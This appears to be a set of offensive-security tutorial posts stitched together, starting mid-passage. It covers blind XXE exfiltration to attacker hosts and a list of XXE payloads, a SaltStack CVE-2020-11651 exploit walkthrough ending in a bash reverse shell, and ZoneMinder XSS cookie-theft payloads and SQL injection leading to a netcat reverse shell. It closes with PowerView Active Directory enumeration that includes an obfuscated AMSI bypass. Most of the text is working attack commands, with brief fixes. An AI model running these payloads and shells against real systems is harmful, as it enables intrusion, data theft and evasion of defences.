  • The code within payload.dtd is parsed by the XML parser, which reads the contents of win.ini and sends it as a parameter in an HTTP GET request back to https://evil-webserver.com

Exploiting blind XXE to retrieve data via error messages

An alternative approach to exploiting blind XXE is to trigger an XML parsing error where the error message contains the sensitive data that you wish to retrieve. This will be effective if the application returns the resulting error message within its response.

You can trigger an XML parsing error message containing the contents of the /etc/passwd file using a malicious external DTD as follows:

<!ENTITY % file SYSTEM "file:///etc/passwd">

<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">



This DTD carries out the following steps:

  • Defines an XML parameter entity called file, containing the contents of the /etc/passwd file.
  • Defines an XML parameter entity called eval, containing a dynamic declaration of another XML parameter entity called error. The error entity will be evaluated by loading a nonexistent file whose name contains the value of the file entity.
  • Uses the eval entity, which causes the dynamic declaration of the error entity to be performed.
  • Uses the error entity, so that its value is evaluated by attempting to load the nonexistent file, resulting in an error message containing the name of the nonexistent file, which is the contents of the /etc/passwd file.

Invoking the malicious external DTD will result in an error message like the following:

Example payload:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>


Note: Please notice that external DTD allows us to include one entity inside the second (eval), but it is prohibited in the internal DTD. Therefore, you can't force an error without using an external DTD (usually).

Exploiting blind XXE by repurposing a local DTD

The preceding technique works fine with an external DTD, but it won't normally work with an internal DTD that is fully specified within the DOCTYPE element. This is because the technique involves using an XML parameter entity within the definition of another parameter entity. Per the XML specification, this is permitted in external DTDs but not in internal DTDs. (Some parsers might tolerate it, but many do not.)

So what about blind XXE vulnerabilities when out-of-band interactions are blocked? You can't exfiltrate data via an out-of-band connection, and you can't load an external DTD from a remote server.

In this situation, it might still be possible to trigger error messages containing sensitive data, due to a loophole in the XML language specification. If a document's DTD uses a hybrid of internal and external DTD declarations, then the internal DTD can redefine entities that are declared in the external DTD. When this happens, the restriction on using an XML parameter entity within the definition of another parameter entity is relaxed.

This means that an attacker can employ the error-based XXE technique from within an internal DTD, provided the XML parameter entity that they use is redefining an entity that is declared within an external DTD. Of course, if out-of-band connections are blocked, then the external DTD cannot be loaded from a remote location. Instead, it needs to be an external DTD file that is local to the application server. Essentially, the attack involves invoking a DTD file that happens to exist on the local filesystem and repurposing it to redefine an existing entity in a way that triggers a parsing error containing sensitive data.

For example, suppose there is a DTD file on the server filesystem at the location /usr/local/app/schema.dtd, and this DTD file defines an entity called custom_entity. An attacker can trigger an XML parsing error message containing the contents of the /etc/passwd file by submitting a hybrid DTD like the following:

<!DOCTYPE foo [

<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">

<!ENTITY % custom_entity '

<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">

<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">






This DTD carries out the following steps:

  • Defines an XML parameter entity called local_dtd, containing the contents of the external DTD file that exists on the server filesystem.
  • Redefines the XML parameter entity called custom_entity, which is already defined in the external DTD file. The entity is redefined as containing the error-based XXE exploit that was already described, for triggering an error message containing the contents of the /etc/passwd file.
  • Uses the local_dtd entity, so that the external DTD is interpreted, including the redefined value of the custom_entity entity. This results in the desired error message.

Locating an existing DTD file to repurpose

Since this XXE attack involves repurposing an existing DTD on the server filesystem, a key requirement is to locate a suitable file. This is actually quite straightforward. Because the application returns any error messages thrown by the XML parser, you can easily enumerate local DTD files just by attempting to load them from within the internal DTD.

For example, Linux systems using the GNOME desktop environment often have a DTD file at /usr/share/yelp/dtd/docbookx.dtd. You can test whether this file is present by submitting the following XXE payload, which will cause an error if the file is missing:

<!DOCTYPE foo [

<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">



After you have tested a list of common DTD files to locate a file that is present, you then need to obtain a copy of the file and review it to find an entity that you can redefine. Since many common systems that include DTD files are open source, you can normally quickly obtain a copy of files through internet search.

Finding hidden attack surface for XXE injection

Attack surface for XXE injection vulnerabilities is obvious in many cases, because the application's normal HTTP traffic includes requests that contain data in XML format. In other cases, the attack surface is less visible. However, if you look in the right places, you will find XXE attack surface in requests that do not contain any XML.

XInclude attacks

Some applications receive client-submitted data, embed it on the server-side into an XML document, and then parse the document. An example of this occurs when client-submitted data is placed into a back-end SOAP request, which is then processed by the backend SOAP service.

In this situation, you cannot carry out a classic XXE attack, because you don't control the entire XML document and so cannot define or modify a DOCTYPE element. However, you might be able to use XInclude instead. XInclude is a part of the XML specification that allows an XML document to be built from sub-documents. You can place an XInclude attack within any data value in an XML document, so the attack can be performed in situations where you only control a single item of data that is placed into a server-side XML document.

To perform an XInclude attack, you need to reference the XInclude namespace and provide the path to the file that you wish to include. For example:

<foo xmlns:xi="http://www.w3.org/2001/XInclude">

<xi:include parse="text" href="file:///etc/passwd"/></foo>

XXE attacks via file upload

Some applications allow users to upload files which are then processed server-side. Some common file formats use XML or contain XML subcomponents. Examples of XML-based formats are office document formats like DOCX and image formats like SVG.

For example, an application might allow users to upload images, and process or validate these on the server after they are uploaded. Even if the application expects to receive a format like PNG or JPEG, the image processing library that is being used might support SVG images. Since the SVG format uses XML, an attacker can submit a malicious SVG image and so reach hidden attack surface for XXE vulnerabilities.

XXE attacks via modified content type

Most POST requests use a default content type that is generated by HTML forms, such as application/x-www-form-urlencoded. Some web sites expect to receive requests in this format but will tolerate other content types, including XML.

For example, if a normal request contains the following:

POST /action HTTP/1.0

Content-Type: application/x-www-form-urlencoded

Content-Length: 7


Then you might be able submit the following request, with the same result:

POST /action HTTP/1.0

Content-Type: text/xml

Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

If the application tolerates requests containing XML in the message body, and parses the body content as XML, then you can reach the hidden XXE attack surface simply by reformatting requests to use the XML format.

How to find and test for XXE vulnerabilities

The vast majority of XXE vulnerabilities can be found quickly and reliably using Burp Suite's web vulnerability scanner.

Manually testing for XXE vulnerabilities generally involves:

  • Testing for file retrieval by defining an external entity based on a well-known operating system file and using that entity in data that is returned in the application's response.
  • Testing for blind XXE vulnerabilities by defining an external entity based on a URL to a system that you control, and monitoring for interactions with that system. Burp Collaborator client is perfect for this purpose.
  • Testing for vulnerable inclusion of user-supplied non-XML data within a server-side XML document by using an XInclude attack to try to retrieve a well-known operating system file.




  • XML parsers are vulnerable to XML external entity injection attack (XXE) by default. The best solution would be to configure the XML processor to use a local static DTD.
  • Disallow any declared DTD included in the XML document.
  • If external Entities aren’t required then disable them completely.
  • Sanitization process should be done for all users’ input.
  • Encode the user input in such a way that entities cannot be defined through user input.
  • Use less complex data formats, such as JSON, and avoiding serialization of sensitive data.
  • Patch or upgrade all XML processors and libraries in use by the application or on the operating system.
  • Use a dependency checker. Update the SOAP to SOAP 1.2 or higher.
  • Implement the positive whitelisting server-side input validation, filtering or sanitization to prevent hostile data within XML documents, header or nodes.
  • Verify the XML or XSL file upload function for validation process.

How to prevent XXE vulnerabilities

Virtually all XXE vulnerabilities arise because the application's XML parsing library supports potentially dangerous XML features that the application does not need or intend to use. The easiest and most effective way to prevent XXE attacks is to disable those features.

Generally, it is sufficient to disable resolution of external entities and disable support for XInclude. This can usually be done via configuration options or by programmatically overriding default behavior. Consult the documentation for your XML parsing library or API for details about how to disable unnecessary capabilities.

Additional Prevention Tips

  • Manually disable DTDs – configure XML parsers in your applications to disable custom document type definitions (DTDs). Most applications don’t use DTDs, so this should not hurt any functionality, but can prevent XXE attacks.
  • Instrument your application server – insert checkpoints in specific parts of your code to monitor runtime execution, and detect and block classes related to XML processing. This can deal with XML parsers you missed somewhere in your application code, and can prevent the most severe XXE exploits which lead to remote code execution.
  • Use security tools – Web Application Firewalls (WAF) have built-in rules that can block obvious XXE inputs. Dynamic Application Security Testing (DAST) tools can scan for XXE vulnerabilities early in the development process and suggest how to remediate them.
  • Harden configuration against XXE – the regular application hardening best practices will also be effective against XXE. Limit permissions, validate all inputs to ensure they do not reach XML parsing logic, handle errors, use authentication and encryption, limit outbound traffic, and limit DNS communications.

XXE Payloads samples

XXE: Basic XML

<!--?xml version="1.0" ?-->





XXE: Entity

<!--?xml version="1.0" ?-->

<!DOCTYPE replace [<!ENTITY example "Doe"> ]>





XXE: Finding files

<!--?xml version="1.0" ?-->

<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]>






<!--?xml version="1.0" ?-->

<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>

<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;

<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">

<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">

<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">

<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">

<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">

<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">

<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">

<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">



<?xml version="1.0"?>

<!DOCTYPE foo [

<!ELEMENT foo (#ANY)>

<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>

XXE: LFI blind

<?xml version="1.0"?>

<!DOCTYPE foo [

<!ELEMENT foo (#ANY)>

<!ENTITY % xxe SYSTEM "file:///etc/passwd">

<!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]><foo>&blind;</foo>

XXE: Bypass Access controls (PHP)

<?xml version="1.0"?>

<!DOCTYPE foo [

<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]>


XXE: SSRF (Server Side Request Forgery)

<?xml version="1.0"?>

<!DOCTYPE foo [

<!ELEMENT foo (#ANY)>

<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>

XXE: (Remote - XML Inclusion)

<?xml version="1.0"?>

<!DOCTYPE lolz [

<!ENTITY test SYSTEM "https://example.com/entity1.xml">]>



<?xml version="1.0" encoding="UTF-7"?>


+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+


XXE: Base64

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

XXE: XXE inside SOAP



<![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>



XXE: XXE inside SVG

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">

<image xlink:href="expect://ls"></image>




















SaltStack Salt REST API Arbitrary Command Execution (CVE-2020-11651, CVE-2020-11652)

The Salt system is a Python-based, open-source remote execution framework for configuration management, automation, provisioning, and orchestration.

Running commands on remote systems is the core function of Salt. Salt can execute multiple commands across thousands of systems in seconds with a single execution.





An issue was discovered in SaltStack Salt before 2019.2.4 and 3000 before 3000.2. The salt-master process ClearFuncs class does not properly validate method calls. This allows a remote user to access some methods without authentication. These methods can be used to retrieve user tokens from the salt master and/or run arbitrary commands on salt minions.


An issue was discovered in SaltStack Salt before 2019.2.4 and 3000 before 3000.2. The salt-master process ClearFuncs class allows access to some methods that improperly sanitize paths. These methods allow arbitrary directory access to authenticated users.

Affected Products

  • SaltStack Salt 2019.2.3
  • SaltStack Salt 3000.1
  • Cisco Modeling Labs Corporate Edition (CML)
  • Cisco TelePresence IX5000 Series
  • Cisco Virtual Internet Routing Lab Personal Edition (VIRL-PE)


1. This vulnerability is present before the version 3000.1. We will enumerate this service, first I noticed an API site exposed


2. In order to examine the version I ran I curl command and sent a HTTP request, to check upon the response header. I noticed “X-Upstream: salt-api/3000-1

  • curl -v


1. Knowing this API is SaltStack we can proceed to look for exploits, I found this one that worked really well

2. We will proceed to download the exploit, and install the required libraries (salt)

  • git clone https://github.com/jasperla/CVE-2020-11651-poc.git
  • sudo pip3 install salt
  • cd CVE-2020-11651-poc
  • ls

3. now we proceed to execute the exploit.py file, we will execute the help toption

  • python3 exploit.py -h

4. Now we will proceed, to execute the program as a test. If we get the “root key” it means it is working without issues

  • python3 exploit.py --master

5. Now I will run a test command, I’ll run a ping command and capture it with TCPDump (this will only execute in the master, if you need to execute into all the minion server use --exec-all)

Packet Capture

  • sudo tcpdump -i tun0

Command execution

  • python3 exploit.py --master --exec "ping -c 4"

Output in packet capture

6. At this point we know that we can execute commands and we have connectivity back to our local machine. Now I will start a listener, and, execute a bash reverse shell


  • nc -lvp 4505

Reverse Shell

  • python3 exploit.py --master --exec "bash -i >& /dev/tcp/ 0>&1"

Final result, (reverse shell)

  • whoami && date && hostname


1. We can upload files, and, read them to verify

  • echo "Vry4n was here" > sample.txt
  • python3 exploit.py --master --upload-src sample.txt --upload-dest ../../../../../../../../tmp/sample.txt
  • python3 exploit.py --master -r "/tmp/sample.txt"

2. We can also read files using (-r)

  • python3 exploit.py --master -r "/etc/passwd"


Upgrade to the latest version of Salt (2019.2.4, 3000.2 or later), available from the SALTSTACK Web site.












ZoneMinder (1.29,1.30) Exploitation (Multiple Vulnerabilities)

ZoneMinder is a free, open-source software application for monitoring via closed-circuit television - developed to run under Linux and FreeBSD and released under the terms of the GNU General Public License (GPL).

Users control ZoneMinder via a web-based interface. The application can use standard cameras (via a capture card, USB, FireWire etc.) or IP-based camera devices. The software allows three modes of operation:

  • monitoring (without recording)
  • recording after detected movement
  • permanent recording

ZoneMinder (1.29,1.30) is affected by several vulnerabilities such as XSS, SQL injection, Session Fixation. By default, authentication is disabled, which means the web application requires no login.


1. Accessing the server via HTTP/HTTPS using the URI /zm/ leads us to the main page where the version is displayed


2. We could also use curl

  • curl | grep version


XSS Reflected

1. Using the following code in the URL we can exploit a Reflected Cross Site Scripting (XSS) vulnerability.

  • Decoded: /zm/index.php?view=request&request=log&task=download&key=a9fef1f4&format=texty9fke'<html><head></head><body><script>alert(1)</script></body></html>ayn2h

Reflected without authentication:

  • Decoded: /zm/index.php/LSE4"><script>alert(1)</script>LSE

XXS Stored

1. We can also create a stored XSS, by creating a monitor. We will need BurpSuite as this is client side protected

  • Click on “Add New Monitor”

2. Now we will intercept the request with our proxy once we click on “Save”.

  • Name Vry4n-monitor
  • Click

3. Capturing the monitor save in BurpSuite, we can search for our monitoring variable, “Vry4n-monitor”

  • newMonitor%5BName%5D=Vry4n-monitor
  • Decoded: newMonitor[Name]=Vry4n-monitor

4. We can now replace it with our test XSS code

  • something<script>alert(1)</script>
  • Vry4n-monitor<script>alert(1)</script>

5. Now from the proxy forward the request towards the destination, refresh the browser

6. You will see the monitor name “Vry4n-monitor”, the code between <script></script>is executed by the browser.

If you actually inspect the source code of the page, and, search by your monitor name in this case “Vry4n-monitor”, you will see the rest (the XSS code)


SQLi Time-based (manual test)

1. The parameter “lmit” is vulnerable to SQL injection. We can test this on with MySQL > 5.0.11 stacked queries. With a web proxy we can capture requests, I’d use BurpSuite


3. We will send this to BurpSuite Repeater

4. Now place the following query, you will note a delay of 30 seconds, as the database sleeps as a result. (Play with this SLEEP() value and note the timing difference)

  • view=request&request=log&task=query&limit=100;(SELECT * FROM (SELECT(SLEEP(30)))OQkj)#&minTime=1646279623.528930


1. We can user BurpSuite to capture a regular request, and replace the data with

  • view=request&request=log&task=query&limit=100
  • vi request.txt
  • cat request.txt

2. Run SQLmap against that file, (it takes around 20 minutes to complete), and spawn a shell

  • sqlmap -r request.txt --dbms mysql --os-shell

3. Now in our local machine we can try to capture traffic to test connectivity from the target machine to our machine

  • sudo tcpdump -i tun0 src

4. Now run ping from the remote machine ping -c 4

5. Check TCPdump

6. At this point we know this hosts accepts commands, and sends traffic out the interface, we will now try to get a reverse shell, first I will check if wget is installed

  • whereis wget
  • which wget

7. After verifying the location we can try to download netcat from our machine and place it into /tmp

Local machine

  • whereis nc
  • cp /usr/bin/nc .
  • python3 -m http.server 80

Remote machine

  • wget -O /tmp/nc

8. Now checking our local web server, we see a log where the connection was successful (200 OK)

9. Now that we know the wget command downloaded the file we will proceed to change permission to give executable rights

  • chmod 777 /tmp/nc

10. Start a listener in our local Kali/Parrot machine

  • nc -lvp 3305

11. Now execute netcat in the remote machine

  • /tmp/nc 3305 -e /bin/bash

12. Looking at our listener we should now see an open connection

  • whoami

CVE-2017-5595: LFI

A file disclosure and inclusion vulnerability exists in web/views/file.php in ZoneMinder 1.x through v1.30.0 because of unfiltered user-input being passed to readfile(), which allows an authenticated attacker to read local system files (e.g., /etc/passwd) in the context of the web server user (www-data). The attack vector is a .. (dot dot) in the path parameter within a zm/index.php?view=file&path= request.


CVE-2016-10140: Auth bypass and Info disclosure - affects v1.30 and v1.29

Apache HTTP Server configuration bundled with ZoneMinder allows a remote unauthenticated attacker to browse all directories

in the web root, e.g., a remote unauthenticated attacker can view all CCTV images on the server.

  • http://<serverIP>/events

CVE-2017-5367 - XSS - affects v1.30 and v1.29

Multiple reflected XSS exists.

The following has been injected into vulnerable URLas to show that the users session cookie can be stolen.

  • %3Cscript%3Ealert(document.cookie);%3C/script%3E

In form input view using POST at http://<serverIP>/zm/

  • PoC: http://<serverIP>/zm/index.php?action=login&view=postlogin%3Cscript%3Ealert(document.cookie);%3C/script%3E&postLoginQuery=1&username=testuser&password=testpassword
  • Decoded: /zm/index.php?action=login&view=postlogin<script>alert(document.cookie);</script>&postLoginQuery=1&username=testuser&password=testpassword

In link input view using GET at http://<serverIP>/zm/

  • PoC: http://<serverIP>/zm/?view=groups%3Cscript%3Ealert(document.cookie);%3C/script%3E
  • Decoded: /zm/?view=groups<script>alert(document.cookie);</script>

In link input filter[terms][1][cnj] using GET at http://<serverIP>/zm/

  • PoC: http://<serverIP>/zm/?view=events&page=1&filter[terms][0][attr]=DateTime&filter[terms][0][op]=%3E%3D&filter[terms][0][val]=-1%2Bhour&filter[terms][1][cnj]=and%3Cscript%3Ealert(document.cookie);%3C/script%3E&filter[terms][1][attr]=MonitorId&filter[terms][1][op]=%3D&filter[terms][1][val]=1
  • Decoded: /zm/?view=events&page=1&filter[terms][0][attr]=DateTime&filter[terms][0][op]=>=&filter[terms][0][val]=-1+hour&filter[terms][1][cnj]=and<script>alert(document.cookie);</script>&filter[terms][1][attr]=MonitorId&filter[terms][1][op]==&filter[terms][1][val]=1

In form input view using GET at http://<serverIP>/zm/index.php

  • PoC: http://<serverIP>/zm/index.php?view=console%3Cscript%3Ealert(document.cookie);%3C/script%3E&action=1&addBtn=Add%20New%20Monitor&editBtn=Edit&deleteBtn=Delete&markMids[]=2
  • Decoded: /zm/index.php?view=console<script>alert(document.cookie);</script>&action=1&addBtn=Add New Monitor&editBtn=Edit&deleteBtn=Delete&markMids[]=2

In form input filter[terms][1][cnj] using POST at http://<serverIP>/zm/index.php

  • PoC: http://<serverIP>/zm/index.php?view=events&page=1&filter%5Bterms%5D%5B0%5D%5Battr%5D=Archived&filter%5Bterms%5D%5B0%5D%5Bop%5D=%3D&filter%5Bterms%5D%5B0%5D%5Bval%5D=1&filter%5Bterms%5D%5B1%5D%5Bcnj%5D=and%3Cscript%3Ealert(document.cookie);%3C/script%3E&filter%5Bterms%5D%5B1%5D%5Battr%5D=MonitorId&filter%5Bterms%5D%5B1%5D%5Bop%5D=%3D&filter%5Bterms%5D%5B1%5D%5Bval%5D=1
  • Decoded: /zm/index.php?view=events&page=1&filter[terms][0][attr]=Archived&filter[terms][0][op]==&filter[terms][0][val]=1&filter[terms][1][cnj]=and<script>alert(document.cookie);</script>&filter[terms][1][attr]=MonitorId&filter[terms][1][op]==&filter[terms][1][val]=1

In form input filter[terms][1][cnj] using POST at http://<serverIP>/zm/

  • PoC: http://<serverIP>/zm/?view=events&page=1&filter%5Bterms%5D%5B0%5D%5Battr%5D=DateTime&filter%5Bterms%5D%5B0%5D%5Bop%5D=&filter%5Bterms%5D%5B0%5D%5Bval%5D=-1+hour&filter%5Bterms%5D%5B1%5D%5Bcnj%5D=%3Cscript%3Ealert(document.cookie);%3C/script%3Eand&filter%5Bterms%5D%5B1%5D%5Battr%5D=MonitorId&filter%5Bterms%5D%5B1%5D%5Bop%5D==&filter%5Bterms%5D%5B1%5D%5Bval%5D=1
  • Decoded: /zm/?view=events&page=1&filter[terms][0][attr]=DateTime&filter[terms][0][op]=&filter[terms][0][val]=-1 hour&filter[terms][1][cnj]=<script>alert(document.cookie);</script>and&filter[terms][1][attr]=MonitorId&filter[terms][1][op]==&filter[terms][1][val]=1

In form input limit using POST at http://<serverIP>/zm/index.php

  • PoC: http://<serverIP>/zm/index.php?view=events&action=1&page=1&filter[terms][0][attr]=DateTime&filter[terms][0][op]=%3E%3D&filter[terms][0][val]=-1%2Bmonth&sort_field=StartTime&sort_asc=1&limit=1%22%3E%3C/a%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E
  • Decoded: /zm/index.php?view=events&action=1&page=1&filter[terms][0][attr]=DateTime&filter[terms][0][op]=>=&filter[terms][0][val]=-1+month&sort_field=StartTime&sort_asc=1&limit=1"></a><script>alert(document.cookie);</script>

In link input limit using GET at http://<serverIP>/zm/index.php

  • PoC: http://<serverIP>/zm/index.php?view=events&page=1&filter%5Bterms%5D%5B0%5D%5Battr%5D=DateTime&filter%5Bterms%5D%5B0%5D%5Bop%5D=%3E%3D&filter%5Bterms%5D%5B0%5D%5Bval%5D=-1%2Bmonth&sort_field=Id&sort_asc=0&limit=1%22%3E%3C/a%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E
  • Decoded: /zm/index.php?view=events&page=1&filter[terms][0][attr]=DateTime&filter[terms][0][op]=>=&filter[terms][0][val]=-1+month&sort_field=Id&sort_asc=0&limit=1"></a><script>alert(document.cookie);</script>

In form input limit using POST at http://<serverIP>/zm/

  • PoC: http://<serverIP>/zm/?view=events&action=1&page=1&sort_field=StartTime&sort_asc=1&limit=1%22%3E%3C/a%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E
  • Decoded: /zm/?view=events&action=1&page=1&sort_field=StartTime&sort_asc=1&limit=1"></a><script>alert(document.cookie);</script>

In link input limit using GET at http://<serverIP>/zm/

  • PoC: http://<serverIP>/zm/?view=events&page=1&sort_field=Id&sort_asc=0&limit=1%22%3E%3C/a%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E
  • Decoded: /zm/?view=events&page=1&sort_field=Id&sort_asc=0&limit=1"></a><script>alert(document.cookie);</script>


Upgrade to the most recent version





Domain Enumeration (PowerView & ADRecon)

This chapter is about running some Powershell scripts to gather information about domains.


First we can try to enumerate user configuration user PowerView from PowerrSploit. (https://github.com/PowerShellMafia/PowerSploit)

1. Download the Tool

  • git clone https://github.com/PowerShellMafia/PowerSploit.git
  • cd PowerSploit/Recon
  • ls

2. Transfer the tool to the remote machine, first set a web server in the local machine

  • python3 -m http.server 9999

3. In the remote server using powershell run the following

  • IWR -OutFile PowerView.ps1
  • dir

4. Import the module to use into Powershell, you’ll probably get execution error so you may need to bypass it

  • powershell -ep bypass
  • Import-Module .\PowerView.ps1

5. Bypass AMSI

  • sET-ItEM ( ‘V’+’aR’ + ‘IA’ + ‘blE:1q2’ + ‘uZx’ ) ( [TYpE]( “{1}{0}”-F’F’,’rE’ ) ) ; ( GeT-VariaBle ( “1Q2U” +”zX” ) -VaL ).”A`ss`Embly”.”GET`TY`Pe”(( “{6}{3}{1}{4}{2}{0}{5}” -f’Util’,’A’,’Amsi’,’.Management.’,’utomation.’,’s’,’System’ ) ).”g`etf`iElD”( ( “{0}{2}{1}” -f’amsi’,’d’,’InitFaile’ ),( “{2}{4}{0}{1}{3}” -f ‘Stat’,’i’,’NonPubli’,’c’,’c,’ )).”sE`T`VaLUE”( ${n`ULl},${t`RuE} )


1. Get domain info

  • Get domain info
  • Get-NetDomain
  • Get-NetDomain -Domain OSCP-LAB

2. Get Domain Controller

  • Get-NetDomainController -Domain OSCP-LAB

3. Other Domain commands

  • Get-DomainSID #Get domain SID
  • Get-DomainPolicy #Get info about the policy
  • (Get-DomainPolicy)."KerberosPolicy" #Kerberos tickets info(MaxServiceAge)
  • (Get-DomainPolicy)."SystemAccess" #Password policy
  • (Get-DomainPolicy).PrivilegeRights #Check your privileges

4.Display forest

  • Get-DomainGlobalCatalog

Domain Users

1. Now Query all users

  • Get-DomainUser

2. Query a single user

  • Get-DomainUser -Name <username>

3. Search for service accounts (SPN)

  • Get-DomainUser -SPN

4. Get users that belong to a group

  • Get-DomainUser -Properties samaccountname,memberof,descriptions

5. Other user commands

  • Get-NetUser #Get users with several (not all) properties
  • Get-NetUser | select -ExpandProperty samaccountname #List all usernames
  • Get-NetUser -UserName student107 #Get info about a user
  • Get-NetUser -properties name, description #Get all descriptions
  • Get-NetUser -properties name, pwdlastset, logoncount, badpwdcount #Get all pwdlastset, logoncount and badpwdcount
  • Find-UserField -SearchField Description -SearchTerm "built" #Search account with "something" in a parameter

6. Users Filters

  • Get-NetUser -UACFilter NOT_ACCOUNTDISABLE -properties distinguishedname #All enabled users
  • Get-NetUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname, description, pwdlastset, logoncount, badpwdcount #Basic user enabled info
  • Get-NetUser -UACFilter ACCOUNTDISABLE #All disabled users
  • Get-NetUser -UACFilter SMARTCARD_REQUIRED #Users that require a smart card
  • Get-NetUser -UACFilter NOT_SMARTCARD_REQUIRED -Properties samaccountname #Not smart card users
  • Get-NetUser -LDAPFilter '(sidHistory=*)' #Find users with sidHistory set
  • Get-NetUser -SPN #Kerberoastable users
  • Get-NetUser -PreauthNotRequired #ASREPRoastable users
  • Get-NetUser -SPN | select serviceprincipalname #Kerberoastable users
  • Get-NetUser -SPN | ?{$_.memberof -match 'Domain Admins'} #Domain admins kerberostable
  • Get-Netuser -TrustedToAuth #Useful for Kerberos constrain delegation
  • Get-NetUser -AllowDelegation -AdminCount #All privileged users that aren't marked as sensitive/not for delegation
  • # retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCsync)
  • Get-ObjectAcl "dc=dev,dc=testlab,dc=local" -ResolveGUIDs | ? {
  • ($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')
  • }

Domain Groups

1. Get AD domain groups

  • Get-DomainGroup

2. Filter by admins

  • Get-DomainGroup -Name "Domain admins"

3. Get members of a AD group

  • Get-DomainGroupMember -Name "Domain admins"
  • Get-DomainGroupMember -Name "Domain admins" -Recurse

4. Filter by domain

  • Get-DomainGroup -Domain "OSCP-LAB"

4. See all AD groups a user is member of

  • Get-DomainGroup -Username "user1"

5. More of group commands

  • Get-NetGroup #Get groups
  • Get-NetGroup | select samaccountname, admincount, description
  • Get-NetGroup -Domain mydomain.local #Get groups of an specific domain
  • Get-NetGroup 'Domain Admins' #Get all data of a group
  • Get-NetGroup -AdminCount #Search admin groups
  • Get-NetGroup -UserName "myusername" #Get groups of a user
  • Get-NetGroupMember -Identity "Administrators" –Recurse #Get users inside "Administrators" group. If there are groups inside of this grup, the -Recurse option will print the users inside the others groups also
  • Get-NetGroupMember -Identity "Enterprise Admins" -Domain mydomain.local #Remember that "Enterprise Admins" group only exists in the rootdomain of the forest
  • Get-NetLocalGroup -ComputerName dc.mydomain.local -ListGroups #Get Local groups of a machine (you need admin rights in no DC hosts)
  • Get-NetLocalGroupMember -computername dcorp-dc.dollarcorp.moneycorp.local #Get users of localgroups in computer
  • Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -ResolveGUIDs #Check AdminSDHolder users
  • Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=EGOTISTICAL-BANK,DC=local' | %{ $_.SecurityIdentifier } | Convert-SidToName #Get AdminSDHolders
  • Get-NetGPOGroup #Get restricted groups

Domain Computers

1. Query all the AD domain computers

  • Get-DomainComputer "OSCP-WinAD-Server.oscp-lab.com"

2. Filter by computer type

  • Get-DomainComputer -OperatingSystem "*2008*"

3. Check for live computers

  • Get-DomainComputer -Ping

4. Filter by computer name

  • Get-DomainComputer -Name “

5. Other computer commands

  • Get-NetComputer #Get all computer objects
  • Get-NetComputer -Ping #Send a ping to check if the computers are working
  • Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
  • Get-NetComputer -TrustedToAuth #Find computers with Constrined Delegation
  • Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'} #Find any machine accounts in privileged groups
  • Get-NetComputer | select samaccountname, operatingsystem
  • Get-NetComputer -Unconstrained | select samaccountname #DCs always appear but aren't useful for privesc
  • Get-NetComputer -TrustedToAuth | select samaccountname #Find computers with Constrained Delegation
  • Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'} #Find any machine accounts in privileged groups

Domain Group policy (GPO) & OU

1. Display Group policy object

  • Get-DomainGPO
  • Get-DomainGPO | Select displayname,name

2. Get computer GPO settings

  • Get-DomainGPO -ComputerName <name>
  • Get-DomainGPO -ComputerName <displayname>

3. Get domain ou

  • Get-DomainOU

4. Other commands

  • Get-NetGPO #Get all policies with details
  • Get-NetGPO | select displayname #Get the names of the policies
  • Get-NetGPO -ComputerName <servername> #Get the policy applied in a computer
  • gpresult /V #Get current policy
